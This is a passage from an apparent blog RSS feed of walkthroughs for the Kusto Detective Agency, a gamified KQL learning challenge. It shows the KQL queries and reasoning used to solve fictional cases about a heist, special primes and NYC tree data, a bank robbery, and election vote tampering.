a scatter chart to check the distribution of user joining time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pl55UYKN_AlqmtEMGajlag.png" /></figure><pre>ChatLogs<br>| where Message matches regex &quot;.*joined the channel.*&quot;<br>| extend User = extract(&quot;User &#39;([a-z0-9]+)&#39; &quot;,1,Message)<br>| extend channel = extract(&quot;channel &#39;([a-z0-9]+)&#39;&quot;,1,Message)<br>| where channel == &quot;cf053de3c7b&quot;<br>| summarize count() by User,Timestamp<br>| render scatterchart</pre><p>From the chart it is evident almost all 4 users logged into the channel at the same time. Next we will extract the individual ip addresses of the users.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*RLYWaGXyz8bF_L_eFmZi0w.png" /></figure><p>We can use the hack utility now to snoop into the gang member’s respective machines.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oMUMg_xB59pziOBBLE9pUA.png" /></figure><p>We have a few interesting files…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eRO6D24JHBVpw2Dj9ysNeg.png" /><figcaption>Message about Project X and mention of day of action</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HX5txYVdTBBdT26SX-rvhw.png" /><figcaption>Image inside pdf marked in red</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vd6-mPwMyZ-cNEpDq9LQ7Q.png" /><figcaption>Utility function to decrypt message using key</figcaption></figure><p>Additionally we find four images in a particular gang member’s machine out of which one of them (<em>image3.jpg</em>)<em> </em>has origin metadata like Date Taken</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*lBEc613ZvnNf5XB2DJccYQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*TfDqc9R_pDVjSlshFidI9Q.png" /></figure><p>Next, about the historical non-sense event that was mentioned in the Project X memo we can use the utility function to decrypt the Message from the question using the key from the last case (<a href="https://sbasu7241.medium.com/kusto-detective-agency-ready-to-play-part-4-of-5-ffb664038293">Ready to Play</a>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OBhcWpAUt5-YgNqiDW6r5Q.png" /><figcaption>Encrypted message</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i03FQzToROfg3JZQb4iFlw.png" /><figcaption>Decrypted text from message</figcaption></figure><p>Opening the link gives us the required year — 1891</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qjnsg2Jg-zbd43NJOR38tg.png" /></figure><p>Following the formula as mentioned in the Project X memo we have the date of the heist now!</p><pre>09–07–2020 + (1891 % 1000) days<br>= 09-07-2020 + 891 days<br>= 17-12-2022 </pre><p>Finally to find the location, we will use the tool mentioned in utility.txt — <a href="https://tool.geoimgr.com/">https://tool.geoimgr.com/</a> on the image (<em>image3.jpg</em>) obtained from one of the gang member’s system using the hack utility.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e7o6WkGdmf1srIU9cMhYsw.png" /></figure><p>So now we have the exact coordinates as well — (58.9688665166667,-3.38010413333333)</p><p><em>PS: I started learning KQL recently, feel free to reach out to me and correct me, incase you spot some inconsistencies I would highly appreciate that. And finally thank you very much for taking your time to read this post.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4ed633b719a5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kusto Detective Agency — Ready to Play (Part 4 of 5)]]></title>
            <link>https://sbasu7241.medium.com/kusto-detective-agency-ready-to-play-part-4-of-5-ffb664038293?source=rss-a96d19a73cb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/ffb664038293</guid>
            <dc:creator><![CDATA[Soumyadeep Basu]]></dc:creator>
            <pubDate>Thu, 24 Nov 2022 05:37:31 GMT</pubDate>
            <atom:updated>2023-02-21T17:11:51.298Z</atom:updated>
            <content:encoded><![CDATA[<h3>Kusto Detective Agency — Ready to Play (Part 4 of 5)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*VsYlWV5B8WFzy0NT.png" /></figure><p>While browsing twitter, I came across <a href="https://detective.kusto.io/">Kusto Detective Agency</a> — a gamified way of learning Kusto Query Language (KQL).</p><p>There are a set of five challenges that participants are required to solve using their KQL skills and earn badges. Challenges are in the form of cases that need to be investigated by a detective agency (the storyline is awesome :P)</p><p>To start, participants are required to create a free Kusto cluster and separate data ingestion scripts are provided on a case to case basis.</p><h3>Challenges</h3><ul><li>Challenge 1: The rarest book is missing! (<a href="https://medium.com/@sbasu7241/kusto-detective-agency-the-rarest-book-is-missing-part-1-of-5-2a956b7ad8a1"><em>Here</em></a>)</li><li>Challenge 2: Election fraud? (<a href="https://sbasu7241.medium.com/kusto-detective-agency-election-fraud-part-2-of-5-83c24559e35e"><em>Here</em></a>)</li><li>Challenge 3: Bank robbery (<a href="https://medium.com/@sbasu7241/kusto-detective-agency-bank-robbery-part-3-of-5-fd827e16de13"><em>Here</em></a>)</li><li>Challenge 4: Ready to play? (<em>Current Article</em>)</li><li>Challenge 5: Big heist (<a href="https://sbasu7241.medium.com/kusto-detective-agency-big-heist-part-5-of-5-4ed633b719a5"><em>Her</em>e</a>)</li></ul><h3>Ready to Play</h3><p>— — — — — — —</p><p>We start with a small mathematical challenge that requires us to find the <a href="https://www.geeksforgeeks.org/special-prime-numbers/">largest special prime</a> under 100M</p><blockquote>A prime number is said to be <strong>Special</strong> prime number if it can be expressed as the sum of three integer numbers: two neighboring prime numbers and 1. For example, 19 = 7 + 11 + 1, or 13 = 5 + 7 + 1.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V3BEJao7Gf5v-smNqbrcCA.png" /></figure><p>We are also given a list of prime numbers. In this case we need to create the ingestion script by ourselves.</p><pre>.execute database script &lt;|<br>//Create table for the data<br>.create-merge table PrimeNumbers(Number:long)<br>//Import data<br>.ingest into table PrimeNumbers (&#39;https://kustodetectiveagency.blob.core.windows.net/prime-numbers/prime-numbers.csv.gz&#39;)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*n0qeh9UGLJgoWTi7jfgVSA.png" /></figure><p>Once the data has been ingested let’s check the row count.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*_dQek_4nzjpn-OE8CDhUrA.png" /></figure><pre>PrimeNumbers<br>| count</pre><p>The underlying idea to get the a list of special primes is — for every row (<em>prime number</em>) in the PrimeNumbers table, find the previous row element (<em>which will also be a prime number</em>) and add both of them and increment the sum by one. If the resulting value is a prime number then we it is a special prime (<em>since it is a sum of two neighboring primes and 1</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*CbvejVLjgcZ0EvYnhFTqRg.png" /></figure><p>We use the <a href="https://learn.microsoft.com/en-us/azure/data-explorer/kusto/query/prevfunction">prev() function</a> in KQL to get the value of the previous row element.</p><pre>PrimeNumbers<br>| sort by Number asc<br>| extend previous_number = prev(Number)<br>| take 4</pre><p>We will now create a new column in the PrimeNumbers table that will be populated as <em>primenumber</em> + <em>prev(prime number) </em>+ 1</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/971/1*xvUoHjmM9UH_mBTNJ3_TYQ.png" /></figure><pre>PrimeNumbers<br>| sort by Number asc<br>| extend previous_number = prev(Number)<br>| extend check_special_prime = toint(Number)+toint(previous_number)+1<br>| take 6</pre><p>And since we know that the largest special prime number &lt; 100M will be more or less in the range of 99M — 100M we can optimize our query by only filtering for special_primes in that range</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*TWmcagShnjEMscBrrKx8vQ.png" /></figure><pre>PrimeNumbers<br>| sort by Number asc<br>| extend previous_number = prev(Number)<br>| extend check_special_prime = toint(Number)+toint(previous_number)+1<br>| where check_special_prime &lt; 100000000 and check_special_prime &gt; 99000000</pre><p>As the final step, we must perform the primality check for entries in the newly created column. For that, we will join the resulting table with the original <em>PrimeNumbers</em> table based on the <em>check_special_prime </em>column to filter out only those entries where the column entry is a prime number (<em>criteria for special prime</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sHBfbMuFgefSsWuys-Y-lQ.png" /></figure><pre>let check_special_primes = (PrimeNumbers<br>| sort by Number asc<br>| extend previous_number = prev(Number)<br>| extend check_special_prime = toint(Number)+toint(previous_number)+1<br>| where check_special_prime &lt; 100000000 and check_special_prime &gt; 99000000);<br>PrimeNumbers<br>| where Number &lt; 100000000 and Number &gt; 99000000<br>| join kind=inner (check_special_primes) on $left.Number == $right.check_special_prime<br>| project special_prime_highest = Number<br>| order by special_prime_highest desc <br>| take 1</pre><p>Now that we have the largest special prime — 99,999,517, let’s visit the URL specified in the challenge — aka.ms/99999517</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nSId2YYXj1xgIJ_NLIKxLQ.png" /></figure><p>We have a new challenge. We are given <a href="https://data.cityofnewyork.us/Environment/2015-Street-Tree-Census-Tree-Data/uvpi-gqnh">street tree census data</a> for NYC which includes parameters like geolocation, tree species, diameter and perception of health etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aexkkH21RjjN19Ajb2Z9aQ.png" /></figure><p>Additionally we are given a function <em>VirtualTourLink </em>that maps any coordinate (<em>latitude, longitude</em>) to Google Maps Street View and allows us a full 360 degree virtual tour of the area.</p><p>We also have a <em>Decrypt</em> function that can be used to decrypt messages. Perhaps we need the key to decrypt the encrypted message present in the challenge description.</p><p>The final aim is to locate a 66-meters radius area which should contain at least one <em>Turkish Hazelnut</em> tree and four <em>Schubert Chokecherries</em> trees and find the smallest <em>American Linden</em> tree in the same area.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eSBYHr1mltkeKipcthsqyQ.png" /></figure><p>Before we go ahead, let me introduce a very interesting concept- <a href="https://www.uber.com/en-IN/blog/h3/">H3 (Uber’s Hexagonal Hierarchical Spatial Index)</a>. This is an geospatial indexing system that partitions the entire world into hexagonal cells. It includes functions for converting from latitude and longitude coordinates to the containing H3 cell, finding the center of H3 cells etc.</p><p>KQL has an inbuilt function —geo_point_to_h3cell(<em>longitude</em>, <em>latitude</em>, <em>resolution</em>) which returns the H3 Cell token value for a given geographic location. From the docs we know that a resolution value 10 indicates indexed by a hexagon with edge length 66m.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*LYI9u93svXvpgk5-FO4hng.png" /></figure><p>And since we know that for a regular hexagon, edge length (<em>a</em>) is the same as circumradius (<em>Rc</em>), we can approximately say that all geolocations within a circle of 66 m radius will have the same h3 cell value.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/241/0*BY4VjnTSe1F-VAlZ.png" /></figure><p>So our problem statement boils down to find a h3 cell which has ≥1 hazelnut trees and ≥4 chokecherry trees and &gt;1 American linden tree.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tjnqu7lfExG2HupevBGHDg.png" /></figure><pre>nyc_trees<br>| summarize hazelnut_trees = countif(spc_common == &quot;Turkish hazelnut&quot;),<br>    chokecherry_trees = countif(spc_common == &quot;&#39;Schubert&#39; chokecherry&quot;),<br>    american_trees = countif(spc_common == &quot;American linden&quot;)<br>    by geo_point_to_h3cell(longitude,latitude,10)<br>| where hazelnut_trees &gt;= 1 and chokecherry_trees &gt;= 4 and american_trees &gt; 1</pre><p>Now that we have the h3 cell index, we need to find the smallest American Linden tree within the h3 cell. For that we will sort all American linden trees in the cell by diameter and find the location of the smallest one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2cZWK6bIOB8qsQ2X1hs1Gg.png" /></figure><pre>nyc_trees<br>| where spc_common == &quot;American linden&quot;<br>| extend h3cell = geo_point_to_h3cell(longitude,latitude,10)<br>| where h3cell == &quot;8a2a100dec9ffff&quot;<br>| sort by tree_dbh asc<br>| project tree_id, tree_dbh, latitude,longitude</pre><p>Finally we will feed the (latitude,longitude) into the <em>VirtualTour </em>function which will open up Google Street View.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-8oFiYk0DJ2YcDP7KkcbUg.png" /></figure><p>After roaming around for a while, we find this graffiti on the wall — <em>EL PUENTE Ashes to Ashes.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l-N5HjzO9WFtMr5-W8Rb3g.png" /></figure><p>Using this string as a key we are able to successfully decrypt the message using the <em>Decrypt</em> function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5_2LvoytQft4anaR0JtZKg.png" /></figure><p><em>PS: I started learning KQL recently, feel free to reach out to me and correct me, incase you spot some inconsistencies I would highly appreciate that. And finally thank you very much for taking your time to read this post.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ffb664038293" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kusto Detective Agency — Bank Robbery (Part 3 of 5)]]></title>
            <link>https://sbasu7241.medium.com/kusto-detective-agency-bank-robbery-part-3-of-5-fd827e16de13?source=rss-a96d19a73cb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/fd827e16de13</guid>
            <category><![CDATA[kql]]></category>
            <category><![CDATA[kusto]]></category>
            <dc:creator><![CDATA[Soumyadeep Basu]]></dc:creator>
            <pubDate>Sun, 20 Nov 2022 13:48:28 GMT</pubDate>
            <atom:updated>2023-02-21T15:50:55.674Z</atom:updated>
            <content:encoded><![CDATA[<h3>Kusto Detective Agency — Bank Robbery (Part 3 of 5)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*ewUiImZN7BQJdsgm.png" /></figure><p>While browsing twitter, I came across <a href="https://detective.kusto.io/">Kusto Detective Agency</a> — a gamified way of learning Kusto Query Language (KQL).</p><p>There are a set of five challenges that participants are required to solve using their KQL skills and earn badges. Challenges are in the form of cases that need to be investigated by a detective agency (the storyline is awesome :P)</p><p>To start, participants are required to create a free Kusto cluster and separate data ingestion scripts are provided on a case to case basis.</p><h3>Challenges</h3><ul><li>Challenge 1: The rarest book is missing! (<a href="https://medium.com/@sbasu7241/kusto-detective-agency-the-rarest-book-is-missing-part-1-of-5-2a956b7ad8a1"><em>Here</em></a>)</li><li>Challenge 2: Election fraud? (<a href="https://sbasu7241.medium.com/kusto-detective-agency-election-fraud-part-2-of-5-83c24559e35e"><em>Here</em></a>)</li><li>Challenge 3: Bank robbery (<em>Current Article</em>)</li><li>Challenge 4: Ready to play? (<a href="https://sbasu7241.medium.com/kusto-detective-agency-ready-to-play-part-4-of-5-ffb664038293"><em>Here</em></a>)</li><li>Challenge 5: Big heist (<a href="https://sbasu7241.medium.com/kusto-detective-agency-big-heist-part-5-of-5-4ed633b719a5"><em>Here</em></a>)</li></ul><h4><strong>Bank robbery</strong></h4><p>— — — — — — —</p><p>This challenge features a bank robbery performed by a gang of three armed men. The bank is located at 157th Ave / 148th Street.</p><p>We are provided with a precise order of events:</p><ul><li><strong>08:17AM</strong>: A gang of three armed men enter a bank located at 157th Ave / 148th Street and start collecting the money from the clerks.</li><li><strong>08:31AM</strong>: After collecting a decent loot (est. 1,000,000$ in cash), they pack up and get out.</li><li><strong>08:40AM</strong>: Police arrives at the crime scene, just to find out that it is too late, and the gang is not near the bank. The city is sealed — all vehicles are checked, robbers can’t escape. Witnesses tell about a group of three men splitting into three different cars and driving away.</li><li><strong>11:10AM</strong>: After 2.5 hours of unsuccessful attempts to look around, the police decide to turn to us, so we can help in finding where the gang is hiding.</li></ul><p>We know that the gang has meetup at one final destination and we need to locate the place.</p><p>After running the ingestion script we find that data provided to us contains camera recording of all spotted vehicles in the form of — Timestamp, VIN (Vehicular Identification Number), Ave (Avenue) and Street details</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6HO3emFROnfy5QOy-e-5LQ.png" /></figure><p>Now let’s build our query logic —</p><ol><li>Since the gang left the bank at 8:31 AM (in three different cars) and police arrived at 8:40 AM, all three of those cars must have been spotted at 157th Ave / 148th Street. Let all those cars that fit this description i.e. spotted b/w 8:31 AM and 8:40 am at the said location be L1</li><li>Since the gang entered the bank at 8:17 AM and left only at 8:31 AM, their cars should have been parked at the bank and hence all those cars that have been spotted at places other than 157th Ave/ 148th Street do not match our criteria. Let this list of cars be L2.</li><li>Now since the robbers meet up at one common place after the robbery, they must have one common destination. Hence for cars that remain (L1 — L2), we will find their last know location and look for those (Avenue, Street) combination where no of such cars = 3</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*zSlbNqoP2WObEDIbiy052A.png" /></figure><pre>Traffic<br>| where Timestamp &gt; datetime(&quot;2022-10-16T08:31:00&quot;) and Timestamp &lt; datetime(&quot;2022-10-16T08:40:00&quot;)<br>| where Ave == &quot;157&quot; and Street == &quot;148&quot;<br>| distinct VIN</pre><p>We have 194 distinct cars that were spotted at 157th Avenue/ 148th Street between 8:31 AM to 8:40 AM. We will inner-join the resulting table (L1) with the original<em> Traffic</em> table based on the VIN column and find out all those cars who were spotted at places other than 157th Avenue/ 148th Street between 8:17 AM to 8:31 AM.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H10A0Z7OyKdTr09oeCMxNQ.png" /></figure><pre>let bank_vehicles = (Traffic<br>| where Timestamp &gt; datetime(&quot;2022-10-16T08:31:00&quot;) and Timestamp &lt; datetime(&quot;2022-10-16T08:40:00&quot;)<br>| where Ave == &quot;157&quot; and Street == &quot;148&quot;<br>| distinct VIN);<br>bank_vehicles<br>| join kind=inner (Traffic) on VIN<br>| where Timestamp &gt; datetime(&quot;2022-10-16T08:17:00&quot;) and Timestamp &lt; datetime(&quot;2022-10-16T08:31:00&quot;)<br>| where Ave != &quot;157&quot; or Street != &quot;148&quot;<br>| distinct VIN</pre><p>Let this new table be L2. These 150 odd cars do not fit our criteria and must be filtered out from the original L1 table. We will perform a leftanti join <em>(shows records from the left table that don’t have matches from the right</em>) between L1 and L2 so that we are left with only those cars who have been spotted at 157th Avenue/ 148th Street between 8:31 AM to 8:40 AM and have not been spotted anywhere else between 8:17 AM to 8:31 AM. This is similar to L1-L2 in set operations.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SkZM_2Zq3GDIb1Flvi-tkQ.png" /></figure><pre>let bank_vehicles = (Traffic<br>| where Timestamp &gt; datetime(&quot;2022-10-16T08:31:00&quot;) and Timestamp &lt; datetime(&quot;2022-10-16T08:40:00&quot;)<br>| where Ave == &quot;157&quot; and Street == &quot;148&quot;<br>| distinct VIN);<br>let non_suspicious_vehicles = (bank_vehicles<br>| join kind=inner (Traffic) on VIN<br>| where Timestamp &gt; datetime(&quot;2022-10-16T08:17:00&quot;) and Timestamp &lt; datetime(&quot;2022-10-16T08:31:00&quot;)<br>| where Ave != &quot;157&quot; or Street != &quot;148&quot;<br>| distinct VIN);<br>bank_vehicles<br>| join kind=leftanti (non_suspicious_vehicles) on VIN</pre><p>As expected we are left with 44 cars. Let this table be L3. Next we need to find the last known location of these cars. For that, we will perform a right-semi join the original Traffic table and create an aggregation that gives us the maximum value of the Timestamp column for each vehicle (VIN).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oRPZ8mr7_UNBDIwgUWqQCg.png" /></figure><pre>let bank_vehicles = (Traffic<br>| where Timestamp &gt; datetime(&quot;2022-10-16T08:31:00&quot;) and Timestamp &lt; datetime(&quot;2022-10-16T08:40:00&quot;)<br>| where Ave == &quot;157&quot; and Street == &quot;148&quot;<br>| distinct VIN);<br>let non_suspicious_vehicles = (bank_vehicles<br>| join kind=inner (Traffic) on VIN<br>| where Timestamp &gt; datetime(&quot;2022-10-16T08:17:00&quot;) and Timestamp &lt; datetime(&quot;2022-10-16T08:31:00&quot;)<br>| where Ave != &quot;157&quot; or Street != &quot;148&quot;<br>| distinct VIN);<br>let suspicious_vehicles = (bank_vehicles<br>| join kind=leftanti (non_suspicious_vehicles) on VIN);<br>suspicious_vehicles<br>| join kind=rightsemi (Traffic) on VIN<br>| summarize max(Timestamp) by VIN</pre><blockquote>Why right-semi join?</blockquote><blockquote>Right-semi join returns all the records from the right side that have matches from the left. In this case since we are joining with the table on the right (Traffic) based on the VIN column, it will have more than multiple records for each vehicle out of which we need the one with maximum value of timestamp</blockquote><p>Now we have a list of all vehicles (VIN) that match both our criteria and their corresponding max(Timestamp) i.e last date/time it has been recorded at a security camera. Let the resulting table be L4.</p><p>We will perform an inner join with L4 and the original <em>Traffic</em> table based on the <em>timestamp</em> column so that we can find their last known location from the recorded <em>max(timestamp)</em>. Finally we will create an aggregation which counts no of cars at each such last know location (avenue/street combination). If car count = 3 we have the hiding place for the gang.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6m-F9pTmBYGCmB41jPzdEg.png" /></figure><pre>let bank_vehicles = (Traffic<br>| where Timestamp &gt; datetime(&quot;2022-10-16T08:31:00&quot;) and Timestamp &lt; datetime(&quot;2022-10-16T08:40:00&quot;)<br>| where Ave == &quot;157&quot; and Street == &quot;148&quot;<br>| distinct VIN);<br>let non_suspicious_vehicles = (bank_vehicles<br>| join kind=inner (Traffic) on VIN<br>| where Timestamp &gt; datetime(&quot;2022-10-16T08:17:00&quot;) and Timestamp &lt; datetime(&quot;2022-10-16T08:31:00&quot;)<br>| where Ave != &quot;157&quot; or Street != &quot;148&quot;<br>| distinct VIN);<br>let suspicious_vehicles = (bank_vehicles<br>| join kind=leftanti (non_suspicious_vehicles) on VIN);<br>let last_locations= (suspicious_vehicles<br>| join kind=rightsemi (Traffic) on VIN<br>| summarize max(Timestamp) by VIN);<br>last_locations<br>| join kind=inner (Traffic) on VIN, $left.max_Timestamp == $right.Timestamp<br>| summarize count() by Ave,Street<br>| where count_ &gt;=3</pre><p><em>PS: I started learning KQL recently, feel free to reach out to me and correct me, incase you spot some inconsistencies I would highly appreciate that. And finally thank you very much for taking your time to read this post.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fd827e16de13" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kusto Detective Agency — Election fraud (Part 2 of 5)]]></title>
            <link>https://sbasu7241.medium.com/kusto-detective-agency-election-fraud-part-2-of-5-83c24559e35e?source=rss-a96d19a73cb6------2</link>
            <guid isPermaLink="false">https://medium.com/p/83c24559e35e</guid>
            <category><![CDATA[kusto]]></category>
            <category><![CDATA[kql]]></category>
            <dc:creator><![CDATA[Soumyadeep Basu]]></dc:creator>
            <pubDate>Wed, 16 Nov 2022 15:38:24 GMT</pubDate>
            <atom:updated>2023-02-21T15:52:10.308Z</atom:updated>
            <content:encoded><![CDATA[<h3>Kusto Detective Agency — <strong>Election fraud (Part 2 of 5)</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*o5geO3T0AFFS_mnm.png" /></figure><p>While browsing twitter, I came across <a href="https://detective.kusto.io/">Kusto Detective Agency</a> — a gamified way of learning Kusto Query Language (KQL).</p><p>There are a set of five challenges that participants are required to solve using their KQL skills and earn badges. Challenges are in the form of cases that need to be investigated by a detective agency (the storyline is awesome :P)</p><p>To start, participants are required to create a free Kusto cluster and separate data ingestion scripts are provided on a case to case basis.</p><h3>Challenges</h3><ul><li>Challenge 1: The rarest book is missing! (<a href="https://medium.com/@sbasu7241/kusto-detective-agency-the-rarest-book-is-missing-part-1-of-5-2a956b7ad8a1"><em>Here</em></a>)</li><li>Challenge 2: Election fraud? (<em>Current article</em>)</li><li>Challenge 3: Bank robbery (<a href="https://sbasu7241.medium.com/kusto-detective-agency-bank-robbery-part-3-of-5-fd827e16de13"><em>Here</em></a>)</li><li>Challenge 4: Ready to play? (<a href="https://sbasu7241.medium.com/kusto-detective-agency-ready-to-play-part-4-of-5-ffb664038293"><em>Here</em></a>)</li><li>Challenge 5: Big heist (<a href="https://medium.com/@sbasu7241/kusto-detective-agency-big-heist-part-5-of-5-4ed633b719a5"><em>Here</em></a>)</li></ul><h4>Election Fraud</h4><p>— — — — — — — —</p><p>This challenge features an election scenario between 4 candidates — Kastor the Elephant, Gaul the Octopus, William (Willie) the Tortoise and Poppy the Goldfish.</p><ul><li>It turns out that Poppy the Goldfish is the ex-mayor’s fish and obtained 51.7% of all votes.</li><li>However polls indicated a close battle between Kastor and Gaul.</li><li>We have been asked to investigate if voting fraud really happened?</li></ul><p>Data provided to us includes: IP, anonymized id, vote, date-time — and the function used for counting the votes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RFo_LF7h7F5eZSnybQQ37Q.png" /></figure><p>We are provided with an ingestion script, let’s run the same.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yrzQ_gCwiBaOfK6HRdYfOw.png" /></figure><p>We have a pretty self-explanatory schema for the Votes table. Let’s checkout the vote function…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*S8BhXqu-jpT9_PZtM21ZFQ.png" /></figure><p>There maybe a possibility that a particular voting booth (IP) was hijacked and large no of votes added. Hence we will check individual number of votes per candidate per IP using an aggregation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/997/1*Ol8GtNax2lLUeYjs-bZ-0g.png" /></figure><pre>Votes<br>| summarize Poppy_votes = countif(vote==&quot;Poppy&quot;),<br>    Kastor_votes = countif(vote==&quot;Kastor&quot;),<br>    Gaul_votes = countif(vote==&quot;Gaul&quot;),<br>    Willie_votes = countif(vote==&quot;Willie&quot;)<br>    by via_ip</pre><p>Everything seems normal except that for Poppy we have a few IP’s that have exceptionally low count of votes as compared to the general distribution of votes per IP. (<em>we will explore this later</em>)</p><p>Since voter_hash_id is unique for every voter. Let’s also check that if more than one vote was cast by the same voter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*DM3nANRCnfQaiGZgr2xPeg.png" /></figure><p>We find 9 voters that cast more than one vote. Although the number is very small to sway election results, let’s make a list of these voter id’s and then look them up on the original Voters table to check who they have voted to.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*bTQ3na2Xay0uXMzS4uCwTQ.png" /></figure><pre>let doubleVotes = (Votes<br>| summarize Count=count(vote) by voter_hash_id<br>| where Count &gt; 1<br>| summarize double_votes = make_list(voter_hash_id));<br>Votes<br>| where voter_hash_id has_any (doubleVotes)<br>| order by voter_hash_id</pre><p>Looks like an uniform distribution. Maybe its by design 🤔 At this point I decided to take a hint.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vot04xAj7Vxca12U04NTdw.png" /></figure><p>Seems like our previous hunch was right. We may want to take a deeper look into those IP’s where Poppy had an abnormally low vote count. Before diving into the raw data I wanted to look at a few visualizations first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SJbN0YtJeGZLWme8oQdceQ.png" /></figure><pre>Votes<br>| summarize Poppy_votes = countif(vote==&quot;Poppy&quot;),<br>    Kastor_votes = countif(vote==&quot;Kastor&quot;),<br>    Gaul_votes = countif(vote==&quot;Gaul&quot;),<br>    Willie_votes = countif(vote==&quot;Willie&quot;)<br>    by via_ip<br>| order by via_ip<br>| render timechart</pre><p>Indeed something is wrong with those set of IP’s. One way to find out will be sorting Poppy’s vote counts in the ascending order and looking for IP’s with lower votes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nWoDdnULtwIgJzMDjDzFMA.png" /></figure><pre>Votes<br>| summarize Poppy_votes = countif(vote==&quot;Poppy&quot;),<br>     by via_ip<br>| order by Poppy_votes asc</pre><p>We can see a sudden increase in number of votes past a particular IP. Let’s create an aggregation of votes for a particular IP (in the higher vote count class) over 30 min intervals.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*p2EaWidWsq-iaNzdYSdLwg.png" /></figure><pre>Votes<br>| where via_ip == &quot;10.168.5.189&quot;<br>| summarize Poppy_votes = countif(vote==&quot;Poppy&quot;)<br>    by bin(Timestamp,30m)</pre><p>And things get suspicious now — 183 votes in a 30 min window. Let’s check the vote distribution over each sec.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iut1pEvX9g3cZatrdfTGRg.png" /></figure><pre>Votes<br>| where via_ip == &quot;10.168.5.189&quot;<br>| where Timestamp &gt; datetime(&quot;2022-10-01T10:00:00&quot;) and Timestamp &lt; datetime(&quot;2022-10-01T10:30:00&quot;) <br>| summarize Poppy_votes = countif(vote==&quot;Poppy&quot;)<br>    by bin(Timestamp,1s)<br>| order by Timestamp asc</pre><p>Yep! There cannot possibly be 33 or 47 votes cast in a second. Clearly the voting has been tampered with. Looking into other IPs (in the higher vote count class) gives us similar results.</p><p>A probable way to mitigate this tampering and find out the correct distribution of votes maybe that we consolidate all votes cast in 1 sec towards Poppy as <strong>one</strong> vote. Let’s try this out…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*q5ERSoZY9wYxXtK8sIJsgg.png" /></figure><pre>Votes<br>| where vote == &quot;Poppy&quot;<br>| distinct hour=datetime_part(&quot;hour&quot;,Timestamp),<br>         minute=datetime_part(&quot;minute&quot;,Timestamp),<br>         second=datetime_part(&quot;second&quot;, Timestamp),<br>         via_ip</pre><p>The resulting table (T1) that we get neutralizes the extra votes that Poppy gets by allowing only 1 vote per 1 sec. We will create another table (T2) from the Votes table by filtering out all votes for Poppy. We will finally create a union of both of them to find out the correct vote count.</p><figure><img alt="" 